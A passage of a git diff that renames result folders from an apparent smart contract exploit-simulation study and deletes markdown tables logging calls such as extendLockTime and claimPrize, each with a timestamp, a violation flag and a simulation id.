results-prompt-1/containing-violation/ProductOrder-16.md rename to results-main-prompt/containing-violation/ProductOrder-16.md diff --git a/results-prompt-1/containing-violation/ProductOrder-17.md b/results-main-prompt/containing-violation/ProductOrder-17.md similarity index 100% rename from results-prompt-1/containing-violation/ProductOrder-17.md rename to results-main-prompt/containing-violation/ProductOrder-17.md diff --git a/results-prompt-1/containing-violation/ProductOrder-19.md b/results-main-prompt/containing-violation/ProductOrder-19.md similarity index 100% rename from results-prompt-1/containing-violation/ProductOrder-19.md rename to results-main-prompt/containing-violation/ProductOrder-19.md diff --git a/results-prompt-1/containing-violation/ProductOrder-2.md b/results-main-prompt/containing-violation/ProductOrder-2.md similarity index 100% rename from results-prompt-1/containing-violation/ProductOrder-2.md rename to results-main-prompt/containing-violation/ProductOrder-2.md diff --git a/results-prompt-1/containing-violation/ProductOrder-20.md b/results-main-prompt/containing-violation/ProductOrder-20.md similarity index 100% rename from results-prompt-1/containing-violation/ProductOrder-20.md rename to results-main-prompt/containing-violation/ProductOrder-20.md diff --git a/results-prompt-1/containing-violation/ProductOrder-22.md b/results-main-prompt/containing-violation/ProductOrder-22.md similarity index 100% rename from results-prompt-1/containing-violation/ProductOrder-22.md rename to results-main-prompt/containing-violation/ProductOrder-22.md diff --git a/results-prompt-1/containing-violation/ProductOrder-24.md b/results-main-prompt/containing-violation/ProductOrder-24.md similarity index 100% rename from results-prompt-1/containing-violation/ProductOrder-24.md rename to results-main-prompt/containing-violation/ProductOrder-24.md diff --git a/results-prompt-1/containing-violation/ProductOrder-5.md b/results-main-prompt/containing-violation/ProductOrder-5.md similarity index 100% rename from results-prompt-1/containing-violation/ProductOrder-5.md rename to results-main-prompt/containing-violation/ProductOrder-5.md diff --git a/results-prompt-1/containing-violation/ProductOrder-6.md b/results-main-prompt/containing-violation/ProductOrder-6.md similarity index 100% rename from results-prompt-1/containing-violation/ProductOrder-6.md rename to results-main-prompt/containing-violation/ProductOrder-6.md diff --git a/results-prompt-1/containing-violation/ProductOrder-9.md b/results-main-prompt/containing-violation/ProductOrder-9.md similarity index 100% rename from results-prompt-1/containing-violation/ProductOrder-9.md rename to results-main-prompt/containing-violation/ProductOrder-9.md diff --git a/results-prompt-1/escrow/Escrow-1.md b/results-main-prompt/escrow/Escrow-1.md similarity index 100% rename from results-prompt-1/escrow/Escrow-1.md rename to results-main-prompt/escrow/Escrow-1.md diff --git a/results-prompt-1/escrow/Escrow-2.md b/results-main-prompt/escrow/Escrow-2.md similarity index 100% rename from results-prompt-1/escrow/Escrow-2.md rename to results-main-prompt/escrow/Escrow-2.md diff --git a/results-prompt-1/escrow/Escrow-3.md b/results-main-prompt/escrow/Escrow-3.md similarity index 100% rename from results-prompt-1/escrow/Escrow-3.md rename to results-main-prompt/escrow/Escrow-3.md diff --git a/results-prompt-1/escrow/Escrow-4.md b/results-main-prompt/escrow/Escrow-4.md similarity index 100% rename from results-prompt-1/escrow/Escrow-4.md rename to results-main-prompt/escrow/Escrow-4.md diff --git a/results-prompt-1/governance/Governance-1.md b/results-main-prompt/governance/Governance-1.md similarity index 100% rename from results-prompt-1/governance/Governance-1.md rename to results-main-prompt/governance/Governance-1.md diff --git a/results-prompt-1/governance/Governance-15.md b/results-main-prompt/governance/Governance-15.md similarity index 100% rename from results-prompt-1/governance/Governance-15.md rename to results-main-prompt/governance/Governance-15.md diff --git a/results-prompt-1/governance/Governance-17.md b/results-main-prompt/governance/Governance-17.md similarity index 100% rename from results-prompt-1/governance/Governance-17.md rename to results-main-prompt/governance/Governance-17.md diff --git a/results-prompt-1/governance/Governance-18.md b/results-main-prompt/governance/Governance-18.md similarity index 100% rename from results-prompt-1/governance/Governance-18.md rename to results-main-prompt/governance/Governance-18.md diff --git a/results-prompt-1/governance/Governance-19.md b/results-main-prompt/governance/Governance-19.md similarity index 100% rename from results-prompt-1/governance/Governance-19.md rename to results-main-prompt/governance/Governance-19.md diff --git a/results-prompt-1/governance/Governance-2.md b/results-main-prompt/governance/Governance-2.md similarity index 100% rename from results-prompt-1/governance/Governance-2.md rename to results-main-prompt/governance/Governance-2.md diff --git a/results-prompt-1/governance/Governance-22.md b/results-main-prompt/governance/Governance-22.md similarity index 100% rename from results-prompt-1/governance/Governance-22.md rename to results-main-prompt/governance/Governance-22.md diff --git a/results-prompt-1/governance/Governance-25.md b/results-main-prompt/governance/Governance-25.md similarity index 100% rename from results-prompt-1/governance/Governance-25.md rename to results-main-prompt/governance/Governance-25.md diff --git a/results-prompt-1/governance/Governance-3.md b/results-main-prompt/governance/Governance-3.md similarity index 100% rename from results-prompt-1/governance/Governance-3.md rename to results-main-prompt/governance/Governance-3.md diff --git a/results-prompt-1/governance/Governance-4.md b/results-main-prompt/governance/Governance-4.md similarity index 100% rename from results-prompt-1/governance/Governance-4.md rename to results-main-prompt/governance/Governance-4.md diff --git a/results-prompt-1/governance/Governance-5.md b/results-main-prompt/governance/Governance-5.md similarity index 100% rename from results-prompt-1/governance/Governance-5.md rename to results-main-prompt/governance/Governance-5.md diff --git a/results-prompt-1/governance/Governance-6.md b/results-main-prompt/governance/Governance-6.md similarity index 100% rename from results-prompt-1/governance/Governance-6.md rename to results-main-prompt/governance/Governance-6.md diff --git a/results-prompt-1/governance/Governance-7.md b/results-main-prompt/governance/Governance-7.md similarity index 100% rename from results-prompt-1/governance/Governance-7.md rename to results-main-prompt/governance/Governance-7.md diff --git a/results-prompt-1/governance/Governance-8.md b/results-main-prompt/governance/Governance-8.md similarity index 100% rename from results-prompt-1/governance/Governance-8.md rename to results-main-prompt/governance/Governance-8.md diff --git a/results-prompt-1/governance/Governance-9.md b/results-main-prompt/governance/Governance-9.md similarity index 100% rename from results-prompt-1/governance/Governance-9.md rename to results-main-prompt/governance/Governance-9.md diff --git a/results-prompt-1/json/failed_exploits.json b/results-main-prompt/json/failed_exploits.json similarity index 100% rename from results-prompt-1/json/failed_exploits.json rename to results-main-prompt/json/failed_exploits.json diff --git a/results-prompt-1/json/successful_exploits.json b/results-main-prompt/json/successful_exploits.json similarity index 100% rename from results-prompt-1/json/successful_exploits.json rename to results-main-prompt/json/successful_exploits.json diff --git a/results-prompt-1/json/unresolved_exploits.json b/results-main-prompt/json/unresolved_exploits.json similarity index 100% rename from results-prompt-1/json/unresolved_exploits.json rename to results-main-prompt/json/unresolved_exploits.json diff --git a/results-prompt-1/partly-exploitable/Escrow-1.md b/results-main-prompt/partly-exploitable/Escrow-1.md similarity index 100% rename from results-prompt-1/partly-exploitable/Escrow-1.md rename to results-main-prompt/partly-exploitable/Escrow-1.md diff --git a/results-prompt-1/partly-exploitable/Escrow-3.md b/results-main-prompt/partly-exploitable/Escrow-3.md similarity index 100% rename from results-prompt-1/partly-exploitable/Escrow-3.md rename to results-main-prompt/partly-exploitable/Escrow-3.md diff --git a/results-prompt-1/partly-exploitable/Governance-1.md b/results-main-prompt/partly-exploitable/Governance-1.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-1.md rename to results-main-prompt/partly-exploitable/Governance-1.md diff --git a/results-prompt-1/partly-exploitable/Governance-15.md b/results-main-prompt/partly-exploitable/Governance-15.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-15.md rename to results-main-prompt/partly-exploitable/Governance-15.md diff --git a/results-prompt-1/partly-exploitable/Governance-17.md b/results-main-prompt/partly-exploitable/Governance-17.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-17.md rename to results-main-prompt/partly-exploitable/Governance-17.md diff --git a/results-prompt-1/partly-exploitable/Governance-18.md b/results-main-prompt/partly-exploitable/Governance-18.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-18.md rename to results-main-prompt/partly-exploitable/Governance-18.md diff --git a/results-prompt-1/partly-exploitable/Governance-2.md b/results-main-prompt/partly-exploitable/Governance-2.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-2.md rename to results-main-prompt/partly-exploitable/Governance-2.md diff --git a/results-prompt-1/partly-exploitable/Governance-3.md b/results-main-prompt/partly-exploitable/Governance-3.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-3.md rename to results-main-prompt/partly-exploitable/Governance-3.md diff --git a/results-prompt-1/partly-exploitable/Governance-4.md b/results-main-prompt/partly-exploitable/Governance-4.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-4.md rename to results-main-prompt/partly-exploitable/Governance-4.md diff --git a/results-prompt-1/partly-exploitable/Governance-5.md b/results-main-prompt/partly-exploitable/Governance-5.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-5.md rename to results-main-prompt/partly-exploitable/Governance-5.md diff --git a/results-prompt-1/partly-exploitable/Governance-6.md b/results-main-prompt/partly-exploitable/Governance-6.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-6.md rename to results-main-prompt/partly-exploitable/Governance-6.md diff --git a/results-prompt-1/partly-exploitable/Governance-7.md b/results-main-prompt/partly-exploitable/Governance-7.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-7.md rename to results-main-prompt/partly-exploitable/Governance-7.md diff --git a/results-prompt-1/partly-exploitable/Governance-8.md b/results-main-prompt/partly-exploitable/Governance-8.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-8.md rename to results-main-prompt/partly-exploitable/Governance-8.md diff --git a/results-prompt-1/partly-exploitable/Governance-9.md b/results-main-prompt/partly-exploitable/Governance-9.md similarity index 100% rename from results-prompt-1/partly-exploitable/Governance-9.md rename to results-main-prompt/partly-exploitable/Governance-9.md diff --git a/results-prompt-1/partly-exploitable/MultiStageAuction-23.md b/results-main-prompt/partly-exploitable/MultiStageAuction-23.md similarity index 100% rename from results-prompt-1/partly-exploitable/MultiStageAuction-23.md rename to results-main-prompt/partly-exploitable/MultiStageAuction-23.md diff --git a/results-prompt-1/partly-exploitable/MultiStageAuction-24.md b/results-main-prompt/partly-exploitable/MultiStageAuction-24.md similarity index 100% rename from results-prompt-1/partly-exploitable/MultiStageAuction-24.md rename to results-main-prompt/partly-exploitable/MultiStageAuction-24.md diff --git a/results-prompt-1/partly-exploitable/PrizeDistribution-10.md b/results-main-prompt/partly-exploitable/PrizeDistribution-10.md similarity index 100% rename from results-prompt-1/partly-exploitable/PrizeDistribution-10.md rename to results-main-prompt/partly-exploitable/PrizeDistribution-10.md diff --git a/results-prompt-1/partly-exploitable/PrizeDistribution-14.md b/results-main-prompt/partly-exploitable/PrizeDistribution-14.md similarity index 100% rename from results-prompt-1/partly-exploitable/PrizeDistribution-14.md rename to results-main-prompt/partly-exploitable/PrizeDistribution-14.md diff --git a/results-prompt-1/partly-exploitable/PrizeDistribution-20.md b/results-main-prompt/partly-exploitable/PrizeDistribution-20.md similarity index 100% rename from results-prompt-1/partly-exploitable/PrizeDistribution-20.md rename to results-main-prompt/partly-exploitable/PrizeDistribution-20.md diff --git a/results-prompt-1/partly-exploitable/PrizeDistribution-25.md b/results-main-prompt/partly-exploitable/PrizeDistribution-25.md similarity index 100% rename from results-prompt-1/partly-exploitable/PrizeDistribution-25.md rename to results-main-prompt/partly-exploitable/PrizeDistribution-25.md diff --git a/results-prompt-1/partly-exploitable/PrizeDistribution-3.md b/results-main-prompt/partly-exploitable/PrizeDistribution-3.md similarity index 100% rename from results-prompt-1/partly-exploitable/PrizeDistribution-3.md rename to results-main-prompt/partly-exploitable/PrizeDistribution-3.md diff --git a/results-prompt-1/partly-exploitable/PrizeDistribution-6.md b/results-main-prompt/partly-exploitable/PrizeDistribution-6.md similarity index 100% rename from results-prompt-1/partly-exploitable/PrizeDistribution-6.md rename to results-main-prompt/partly-exploitable/PrizeDistribution-6.md diff --git a/results-prompt-1/partly-exploitable/PrizeDistribution-9.md b/results-main-prompt/partly-exploitable/PrizeDistribution-9.md similarity index 100% rename from results-prompt-1/partly-exploitable/PrizeDistribution-9.md rename to results-main-prompt/partly-exploitable/PrizeDistribution-9.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-1.md b/results-main-prompt/partly-exploitable/ProductOrder-1.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-1.md rename to results-main-prompt/partly-exploitable/ProductOrder-1.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-11.md b/results-main-prompt/partly-exploitable/ProductOrder-11.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-11.md rename to results-main-prompt/partly-exploitable/ProductOrder-11.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-13.md b/results-main-prompt/partly-exploitable/ProductOrder-13.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-13.md rename to results-main-prompt/partly-exploitable/ProductOrder-13.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-15.md b/results-main-prompt/partly-exploitable/ProductOrder-15.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-15.md rename to results-main-prompt/partly-exploitable/ProductOrder-15.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-16.md b/results-main-prompt/partly-exploitable/ProductOrder-16.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-16.md rename to results-main-prompt/partly-exploitable/ProductOrder-16.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-17.md b/results-main-prompt/partly-exploitable/ProductOrder-17.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-17.md rename to results-main-prompt/partly-exploitable/ProductOrder-17.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-19.md b/results-main-prompt/partly-exploitable/ProductOrder-19.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-19.md rename to results-main-prompt/partly-exploitable/ProductOrder-19.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-2.md b/results-main-prompt/partly-exploitable/ProductOrder-2.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-2.md rename to results-main-prompt/partly-exploitable/ProductOrder-2.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-20.md b/results-main-prompt/partly-exploitable/ProductOrder-20.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-20.md rename to results-main-prompt/partly-exploitable/ProductOrder-20.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-22.md b/results-main-prompt/partly-exploitable/ProductOrder-22.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-22.md rename to results-main-prompt/partly-exploitable/ProductOrder-22.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-24.md b/results-main-prompt/partly-exploitable/ProductOrder-24.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-24.md rename to results-main-prompt/partly-exploitable/ProductOrder-24.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-5.md b/results-main-prompt/partly-exploitable/ProductOrder-5.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-5.md rename to results-main-prompt/partly-exploitable/ProductOrder-5.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-6.md b/results-main-prompt/partly-exploitable/ProductOrder-6.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-6.md rename to results-main-prompt/partly-exploitable/ProductOrder-6.md diff --git a/results-prompt-1/partly-exploitable/ProductOrder-9.md b/results-main-prompt/partly-exploitable/ProductOrder-9.md similarity index 100% rename from results-prompt-1/partly-exploitable/ProductOrder-9.md rename to results-main-prompt/partly-exploitable/ProductOrder-9.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-10.md b/results-main-prompt/prizedist/PrizeDistribution-10.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-10.md rename to results-main-prompt/prizedist/PrizeDistribution-10.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-11.md b/results-main-prompt/prizedist/PrizeDistribution-11.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-11.md rename to results-main-prompt/prizedist/PrizeDistribution-11.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-14.md b/results-main-prompt/prizedist/PrizeDistribution-14.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-14.md rename to results-main-prompt/prizedist/PrizeDistribution-14.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-2.md b/results-main-prompt/prizedist/PrizeDistribution-2.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-2.md rename to results-main-prompt/prizedist/PrizeDistribution-2.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-20.md b/results-main-prompt/prizedist/PrizeDistribution-20.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-20.md rename to results-main-prompt/prizedist/PrizeDistribution-20.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-23.md b/results-main-prompt/prizedist/PrizeDistribution-23.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-23.md rename to results-main-prompt/prizedist/PrizeDistribution-23.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-24.md b/results-main-prompt/prizedist/PrizeDistribution-24.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-24.md rename to results-main-prompt/prizedist/PrizeDistribution-24.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-25.md b/results-main-prompt/prizedist/PrizeDistribution-25.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-25.md rename to results-main-prompt/prizedist/PrizeDistribution-25.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-3.md b/results-main-prompt/prizedist/PrizeDistribution-3.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-3.md rename to results-main-prompt/prizedist/PrizeDistribution-3.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-6.md b/results-main-prompt/prizedist/PrizeDistribution-6.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-6.md rename to results-main-prompt/prizedist/PrizeDistribution-6.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-8.md b/results-main-prompt/prizedist/PrizeDistribution-8.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-8.md rename to results-main-prompt/prizedist/PrizeDistribution-8.md diff --git a/results-prompt-1/prizedist/PrizeDistribution-9.md b/results-main-prompt/prizedist/PrizeDistribution-9.md similarity index 100% rename from results-prompt-1/prizedist/PrizeDistribution-9.md rename to results-main-prompt/prizedist/PrizeDistribution-9.md diff --git a/results-prompt-1/productorder/ProductOrder-1.md b/results-main-prompt/productorder/ProductOrder-1.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-1.md rename to results-main-prompt/productorder/ProductOrder-1.md diff --git a/results-prompt-1/productorder/ProductOrder-11.md b/results-main-prompt/productorder/ProductOrder-11.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-11.md rename to results-main-prompt/productorder/ProductOrder-11.md diff --git a/results-prompt-1/productorder/ProductOrder-13.md b/results-main-prompt/productorder/ProductOrder-13.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-13.md rename to results-main-prompt/productorder/ProductOrder-13.md diff --git a/results-prompt-1/productorder/ProductOrder-14.md b/results-main-prompt/productorder/ProductOrder-14.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-14.md rename to results-main-prompt/productorder/ProductOrder-14.md diff --git a/results-prompt-1/productorder/ProductOrder-15.md b/results-main-prompt/productorder/ProductOrder-15.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-15.md rename to results-main-prompt/productorder/ProductOrder-15.md diff --git a/results-prompt-1/productorder/ProductOrder-16.md b/results-main-prompt/productorder/ProductOrder-16.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-16.md rename to results-main-prompt/productorder/ProductOrder-16.md diff --git a/results-prompt-1/productorder/ProductOrder-17.md b/results-main-prompt/productorder/ProductOrder-17.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-17.md rename to results-main-prompt/productorder/ProductOrder-17.md diff --git a/results-prompt-1/productorder/ProductOrder-19.md b/results-main-prompt/productorder/ProductOrder-19.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-19.md rename to results-main-prompt/productorder/ProductOrder-19.md diff --git a/results-prompt-1/productorder/ProductOrder-2.md b/results-main-prompt/productorder/ProductOrder-2.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-2.md rename to results-main-prompt/productorder/ProductOrder-2.md diff --git a/results-prompt-1/productorder/ProductOrder-20.md b/results-main-prompt/productorder/ProductOrder-20.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-20.md rename to results-main-prompt/productorder/ProductOrder-20.md diff --git a/results-prompt-1/productorder/ProductOrder-22.md b/results-main-prompt/productorder/ProductOrder-22.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-22.md rename to results-main-prompt/productorder/ProductOrder-22.md diff --git a/results-prompt-1/productorder/ProductOrder-24.md b/results-main-prompt/productorder/ProductOrder-24.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-24.md rename to results-main-prompt/productorder/ProductOrder-24.md diff --git a/results-prompt-1/productorder/ProductOrder-5.md b/results-main-prompt/productorder/ProductOrder-5.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-5.md rename to results-main-prompt/productorder/ProductOrder-5.md diff --git a/results-prompt-1/productorder/ProductOrder-6.md b/results-main-prompt/productorder/ProductOrder-6.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-6.md rename to results-main-prompt/productorder/ProductOrder-6.md diff --git a/results-prompt-1/productorder/ProductOrder-8.md b/results-main-prompt/productorder/ProductOrder-8.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-8.md rename to results-main-prompt/productorder/ProductOrder-8.md diff --git a/results-prompt-1/productorder/ProductOrder-9.md b/results-main-prompt/productorder/ProductOrder-9.md similarity index 100% rename from results-prompt-1/productorder/ProductOrder-9.md rename to results-main-prompt/productorder/ProductOrder-9.md diff --git a/results-prompt-2/PrizeDistribution-1.md b/results-prompt-2/PrizeDistribution-1.md deleted file mode 100644 index 6aa71f22..00000000 --- a/results-prompt-2/PrizeDistribution-1.md +++ /dev/null @@ -1,8 +0,0 @@ -| Activity ID | Time | Violation | Simulation | -| --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:35:47.537Z | false | 2013934 | -| extendLockTime | 2024-06-05T13:35:48.632Z | false | 2013934 | -| extendLockTime | 2024-06-05T13:35:49.175Z | false | 2013934 | -| extendLockTime | 2024-06-05T13:35:49.824Z | false | 2013934 | -| extendLockTime | 2024-06-05T13:35:50.411Z | false | 2013934 | -| claimPrize | 2024-06-05T13:35:58.244Z | true | 2013934 | \ No newline at end of file diff --git a/results-prompt-2/PrizeDistribution-16.md b/results-prompt-2/PrizeDistribution-16.md deleted file mode 100644 index 9757b435..00000000 --- a/results-prompt-2/PrizeDistribution-16.md +++ /dev/null @@ -1,18 +0,0 @@ -| Activity ID | Time | Violation | Simulation | -| --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:36:18.975Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:19.232Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:19.726Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:20.045Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:20.268Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:20.478Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:20.973Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:21.208Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:21.712Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:22.019Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:22.336Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:22.951Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:23.658Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:23.864Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:24.079Z | false | 2013947 | -| extendLockTime | 2024-06-05T13:36:24.297Z | false | 2013947 | \ No newline at end of file diff --git a/results-prompt-2/PrizeDistribution-17.md b/results-prompt-2/PrizeDistribution-17.md deleted file mode 100644 index fca08deb..00000000 --- a/results-prompt-2/PrizeDistribution-17.md +++ /dev/null @@ -1,19 +0,0 @@ -| Activity ID | Time | Violation | Simulation | -| --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:36:20.966Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:21.205Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:21.705Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:22.003Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:22.213Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:22.432Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:22.942Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:23.164Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:23.663Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:23.970Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:24.289Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:24.496Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:24.815Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:25.237Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:25.593Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:25.786Z | false | 2013948 | -| extendLockTime | 2024-06-05T13:36:26.187Z | false | 2013948 | \ No newline at end of file diff --git a/results-prompt-2/PrizeDistribution-2.md b/results-prompt-2/PrizeDistribution-2.md deleted file mode 100644 index c321bad1..00000000 --- a/results-prompt-2/PrizeDistribution-2.md +++ /dev/null @@ -1,8 +0,0 @@ -| Activity ID | Time | Violation | Simulation | -| --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:35:50.262Z | false | 2013935 | -| extendLockTime | 2024-06-05T13:35:51.129Z | false | 2013935 | -| extendLockTime | 2024-06-05T13:35:51.667Z | false | 2013935 | -| extendLockTime | 2024-06-05T13:35:52.210Z | false | 2013935 | -| extendLockTime | 2024-06-05T13:35:52.834Z | false | 2013935 | -| claimPrize | 2024-06-05T13:36:00.937Z | true | 2013935 | \ No newline at end of file diff --git a/results-prompt-2/PrizeDistribution-21.md b/results-prompt-2/PrizeDistribution-21.md deleted file mode 100644 index 6cdd7fec..00000000 --- a/results-prompt-2/PrizeDistribution-21.md +++ /dev/null @@ -1,15 +0,0 @@ -| Activity ID | Time | Violation | Simulation | -| --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:36:28.676Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:28.874Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:29.422Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:29.768Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:29.974Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:30.186Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:30.444Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:30.864Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:31.553Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:32.837Z | false | 2013951 | -| extendLockTime | 2024-06-05T13:36:32.222Z | true | 2013951 | -| extendLockTime | 2024-06-05T13:36:32.532Z | true | 2013951 | -| extendLockTime | 2024-06-05T13:36:31.918Z | true | 2013951 | \ No newline at end of file diff --git a/results-prompt-2/PrizeDistribution-22.md b/results-prompt-2/PrizeDistribution-22.md deleted file mode 100644 index c676aebf..00000000 --- a/results-prompt-2/PrizeDistribution-22.md +++ /dev/null @@ -1,20 +0,0 @@ -| Activity ID | Time | Violation | Simulation | -| --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:36:30.816Z | false | 2013952 | -| extendLockTime | 2024-06-05T13:36:31.563Z | false | 2013952 | -| extendLockTime | 2024-06-05T13:36:32.754Z | false | 2013952 | -| extendLockTime | 2024-06-05T13:36:33.370Z | false | 2013952 | -| extendLockTime | 2024-06-05T13:36:32.548Z | true | 2013952 | -| extendLockTime | 2024-06-05T13:36:31.914Z | true | 2013952 | -| extendLockTime | 2024-06-05T13:36:31.009Z | true | 2013952 | -| extendLockTime | 2024-06-05T13:36:32.332Z | true | 2013952 | -| extendLockTime | 2024-06-05T13:36:33.990Z | true | 2013952 | -| extendLockTime | 2024-06-05T13:36:33.062Z | true | 2013952 | -| extendLockTime | 2024-06-05T13:36:32.128Z | true | 2013952 | -| extendLockTime | 2024-06-05T13:36:33.681Z | true | 2013952 | -| extendLockTime | 2024-06-05T13:36:34.196Z | false | 2013952 | -| extendLockTime | 2024-06-05T13:36:34.505Z | false | 2013952 | -| extendLockTime | 2024-06-05T13:36:34.719Z | false | 2013952 | -| extendLockTime | 2024-06-05T13:36:35.030Z | false | 2013952 | -| extendLockTime | 2024-06-05T13:36:35.238Z | false | 2013952 | -| extendLockTime | 2024-06-05T13:36:35.579Z | false | 2013952 | \ No newline at end of file diff --git a/results-prompt-2/PrizeDistribution-23.md b/results-prompt-2/PrizeDistribution-23.md deleted file mode 100644 index 5e153530..00000000 --- a/results-prompt-2/PrizeDistribution-23.md +++ /dev/null @@ -1,16 +0,0 @@ -| Activity ID | Time | Violation | Simulation | -| --- | --- | --- | --- | -| extendLockTime | 2024-06-05T13:36:36.269Z | false | 2013953 | -| extendLockTime | 2024-06-05T13:36:36.702Z | true | 2013953 | -| extendLockTime | 2024-06-05T13:36:37.024Z | false | 2013953 | -| extendLockTime | 2024-06-05T13:36:37.239Z | false | 2013953 | -| extendLockTime | 2024-06-05T13:36:37.445Z | false | 2013953 | -| extendLockTime | 2024-06-05T13:36:37.658Z | false | 2013953 | -| extendLockTime | 2024-06-05T13:36:38.091Z | false | 2013953 | -| extendLockTime | 2024-06-05T13:36:39.477Z | true | 2013953 | -| extendLockTime | 